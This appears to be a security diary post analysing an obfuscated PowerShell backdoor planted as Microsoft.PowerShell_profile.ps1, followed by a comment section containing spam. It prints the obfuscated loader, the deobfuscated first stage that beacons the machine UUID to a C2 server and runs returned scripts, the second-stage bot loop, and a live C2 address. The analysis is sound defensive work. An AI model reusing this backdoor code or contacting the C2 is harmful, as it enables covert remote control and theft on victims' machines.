Undetected PowerShell Backdoor Disguised as a Profile File
PowerShell remains an excellent way to compromise computers. Many PowerShell scripts found in the wild are usually obfuscated. Most of the time, this helps to have the script detected by fewer antivirus vendors. Yesterday, I found a script that scored 0/59 on VT! Let’s have a look at it.
The file was found with the name « Microsoft.PowerShell_profile.ps1 ». The attacker nicely selected this name because this is a familiar name used by Microsoft to manage PowerShell profiles[1]. You may compare this to the « .bashrc » on Linux. It’s a way to customize your environment. Everything you launch a PowerShell, it will look for several locations, and if a file is found, it will execute it. Note that it’s also an excellent way to implement persistence because the malicious code will be re-executed every time a new PowerShell is launched. It’s listed as T1546.013[2] in the MITRE framework.
Let’s reverse the script (SHA256: a3d265a0ab00466aab978d0ccf94bb48808861b528603bddead6649eea7c0d16). When opened in a text editor, we can see that it is heavily obfuscated:
$mkey = "hxlksmxfcmspgnhf"; $srv = "AAwYG0lCV1daXV1BU0BbUUZKWF5JVUhWUw=="; $cmp = "CggGEgkeExAGCRwKCQ0aEQ=="; $bSDvRdgFlcnAwxj = @(24,'r','','IHwgb3V0LW51bGwKJHBzLkFkZEFyZ3V','',21,'d',([int](("94UmlEWn459UmlEWn686UmlEWn786UmlEWn10UmlEWn22UmlEWn633UmlEWn666UmlEWn701UmlEWn553" -split "UmlEWn")[5])),([int](("650Wmugo21Wmugo835Wmugo417Wmugo906Wmugo812Wmugo286Wmugo749Wmugo960Wmugo29" -split "Wmugo")[9])),([int](("419Gm370Gm388Gm238Gm2Gm902Gm197Gm582Gm305Gm133" -split "Gm")[4])),([string](("pTOikLyVWRMBZLkLyqgzIlWkLyLQOKkLyDjwiHkLyDQtofyikLyoKkLynbKDLukLyYBtQkLyTFkmtvQbI" -split "kLy")[6])),([string](("ulxwNSBGgYFDhZCbGgYFDhZLMQxkZGgYFDhZoafQGZyGgYFDhZwjysVfDOGgYFDhZcWPBAJfZRGgYFDhZHpzWCeiGgYFDhZSxpjbwIsGgYFDhZCFsGgYFDhZg" -split "GgYFDhZ")[([int](("9kdIhpwlnjWt689kdIhpwlnjWt878kdIhpwlnjWt775kdIhpwlnjWt965kdIhpwlnjWt828kdIhpwlnjWt529kdIhpwlnjWt957kdIhpwlnjWt917kdIhpwlnjWt224" -split "kdIhpwlnjWt")[0]))])),46,'tV','Ut',33,'VudFN0YXRlID0gIlNUQSIKJHJz',([int](("41rVCGBZ17rVCGBZ230rVCGBZ879rVCGBZ163rVCGBZ152rVCGBZ7rVCGBZ190rVCGBZ91rVCGBZ800" -split "rVCGBZ")[0])),27,([string](("vRUuwlkhDgkhjBTkhCYbTUGxkhskkhrefJkhmPESOhykhoWkhn.AmsikhmQkLRonvi" -split "kh")
Note the presence of the three variables at the top of the file.
The obfuscation technique is pretty good: Arrays of interesting strings are created but split using random strings. The last line of the script is very long passed to an Invoke-Expression. To speed up the analysis, you can replace the IEX with a simple echo to print the deobfuscated code:
[Scriptblock]$script = { param($mkey, $srv, $cmp) function ConvertFrom-JSON20([object] $item){ ... return ,$ps_js.DeserializeObject($item); } function xor($data, $key){ ... return $xordData } function Main{ $enc = [System.Text.Encoding]::UTF8 $srv = [System.Convert]::FromBase64String($srv) $srv = xor $srv $mkey $srv = $enc.getString($srv) $cmp = [System.Convert]::FromBase64String($cmp) $cmp = xor $cmp $mkey $cmp = $enc.getString($cmp) $enc = [System.Text.Encoding]::UTF8 $UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid; $xorkey = $enc.GetBytes($cmp) $data = xor $enc.GetBytes($UUID) $xorkey; $web = New-Object System.Net.WebClient; while($true){ try{ $res = $web.UploadData("$srv/$cmp", $data);break }catch{ if($_.exception -match '(404)'){exit} } Start-Sleep -s 60; } $res = xor $res $cmp $res = $enc.GetString($res); $res = ConvertFrom-JSON20($res); $script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($res.script)); $script = [Scriptblock]::Create($script); Invoke-Command -ScriptBlock $script -ArgumentList $res.args; } Main } $rs = [runspacefactory]::CreateRunspace() $rs.ApartmentState = "STA" $rs.ThreadOptions = "ReuseThread" $rs.Open() $rs.SessionStateProxy.SetVariable("h",$host) $ps = [PowerShell]::Create() $ps.Runspace = $rs $ps.AddScript($script) | out-null $ps.AddArgument($mkey) | out-null $ps.AddArgument($srv) | out-null $ps.AddArgument($cmp) | out-null $res = $ps.BeginInvoke()
The script creates a script-block and executes a runspace[3]. The script will try to contact a C2 server and submit the system UUID, probably to create the "bot" on the C2 side. The C2 address is generated via the three passed parameters (on top of the script):
The C2 will return JSON data that will contain interesting data:
{ "script": "...", "args": [ "http://190.14.37.245:8000", "bpjyzskvedozncrw", "<RSAKeyValue>...<\/RSAKeyValue>", "<RSAKeyValue>...<\/RSAKeyValue>", 15 ] }
A second script is returned (Base64 encoded) with the same C2 address (I presume it could be another one and some encryption-related material. What's the purpose of "bpjyzskvedozncrw"? It's the campaign ID has it is described in the next-stage script:
param( [string]$server_url, [string]$campaign_id, [string]$RSAPanelPubKey, [string]$RSABotPrivateKey, [int]$polling_interval ) function ConvertTo-JSON20 { ... } function ConvertFrom-JSON20([object] $item){ ... } function Is-VM { ... } function Encrypt-Data{ ... } function Decrypt-Data{ ... } function Get-SystemInfo { ... } function Start-RunspaceDisposer($jobs){ ... } function Add-Log{ ... } function Run-Module{ ... } function main{ $UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid; $mtx = New-Object System.Threading.Mutex($false, $uuid); $mtx.WaitOne() $jobs = [system.collections.arraylist]::Synchronized((New-Object System.Collections.ArrayList)) Start-RunspaceDisposer $jobs $runningtasks = [hashtable]::Synchronized(@{}) $logs = [system.collections.arraylist]::Synchronized((New-Object System.Collections.ArrayList)) while($true){ try{ $web = New-Object Net.WebClient; $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_}); $data = @{UUID = $UUID; campaign_id = $campaign_id}; $data = $data | ConvertTo-JSON20; $data = Encrypt-Data -data $data; $res = $web.UploadData("$server_url/$random_path", $data); if(!$res){ $systeminfo = Get-SystemInfo; $data = @{UUID = $UUID; systeminfo = $systeminfo; campaign_id = $campaign_id}; $data = $data | ConvertTo-JSON20; $data = Encrypt-Data -data $data; $web.UploadData("$server_url/$random_path", $data); Start-Sleep -s 3; continue; } $res = Decrypt-Data -data $res; $res = [System.Text.Encoding]::UTF8.GetString($res).Trim([char]0); $res = ConvertFrom-JSON20($res); $url_id = $res.url_id; while($true){ $url = "$server_url/$url_id"; $task = $web.DownloadData($url); $task = Decrypt-Data -data $task; $task = [System.Text.Encoding]::UTF8.GetString($task).Trim([char]0); $task = ConvertFrom-JSON20($task); if($task.task_id -and $task.scriptname){ $task_id = $task.task_id $scriptname = $task.scriptname try{ if(!($task.scriptname -eq 'hbr' -and $task.type -eq 'run')){ $task_report = @{UUID = $UUID; task_id = $task_id; status = 'running'}; $task_report = $task_report | ConvertTo-JSON20; $task_report = Encrypt-Data -data $task_report; $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_}); $web.UploadData("$server_url/$random_path", $task_report); } }catch{ #write-host $_.exception } if($task.type -eq 'run'){ $script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($task.script)); $scriptblock = [Scriptblock]::Create($script); if($task.background){ $runningtasks.$scriptname = @{'exit'=$false} Run-Module $scriptblock $task.args $jobs $runningtasks $logs $task_id $scriptname } else{ Run-Module $scriptblock $task.args $jobs $null $logs $task_id $scriptname if($scriptname -eq 'remove'){start-sleep -s 30; exit} } } elseif($task.type -eq 'kill'){ if($runningtasks.ContainsKey($scriptname)){ $runningtasks.$scriptname.exit = $true $runningtasks.remove($scriptname) } try{ $task_report = @{UUID = $UUID; task_id = $task_id; status = 'completed'}; $task_report = $task_report | ConvertTo-JSON20; $task_report = Encrypt-Data -data $task_report; $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_}); $web.UploadData("$server_url/$random_path", $task_report); }catch{ #write-host $_.exception } } } $logsToProcess = @() while($logs.count -gt 0){ $logsToProcess += $logs[0] $logs.RemoveAt(0) } if($task.debug -and $logsToProcess.Count -gt 0){ try{ $data = @{'logs'=$logsToProcess; 'uuid'=$UUID} $data = $data | ConvertTo-JSON20 $data = Encrypt-Data -data $data; $random_path = -join ((97..122) | Get-Random -Count 24 | % {[char]$_}); $web.UploadData("$server_url/$random_path", $data) | Out-Null; }catch{ #write-host $_.exception } } $url_id = $task.url_id; [System.GC]::Collect(); Start-Sleep -s $task.polling_interval; } } catch{ [System.GC]::Collect(); Start-Sleep -s $polling_interval; } } $mtx.ReleaseMutex(); $mtx.Dispose(); } main
The script uses the same technique and runs its code inside another runspace. It enters an infinite loop, waiting for some commands from the C2 server:
While writing this diary, the C2 server (190.14.37.254) is still alive. I started a honeypot to capture all details from a potential attempt to use my system. I'm now waiting for some activity...
[1] https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.3
[2] https://attack.mitre.org/techniques/T1546/013/
[3] https://devblogs.microsoft.com/scripting/beginning-use-of-powershell-runspaces-part-1/
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
www
Nov 17th 2022
6 months ago
EEW
Nov 17th 2022
6 months ago
qwq
Nov 17th 2022
6 months ago
mashood
Nov 17th 2022
6 months ago
isc.sans.edu
Nov 23rd 2022
6 months ago
isc.sans.edu
Nov 23rd 2022
6 months ago
isc.sans.edu
Dec 3rd 2022
6 months ago
isc.sans.edu
Dec 3rd 2022
6 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
isc.sans.edu
Dec 26th 2022
5 months ago
isc.sans.edu
Dec 26th 2022
5 months ago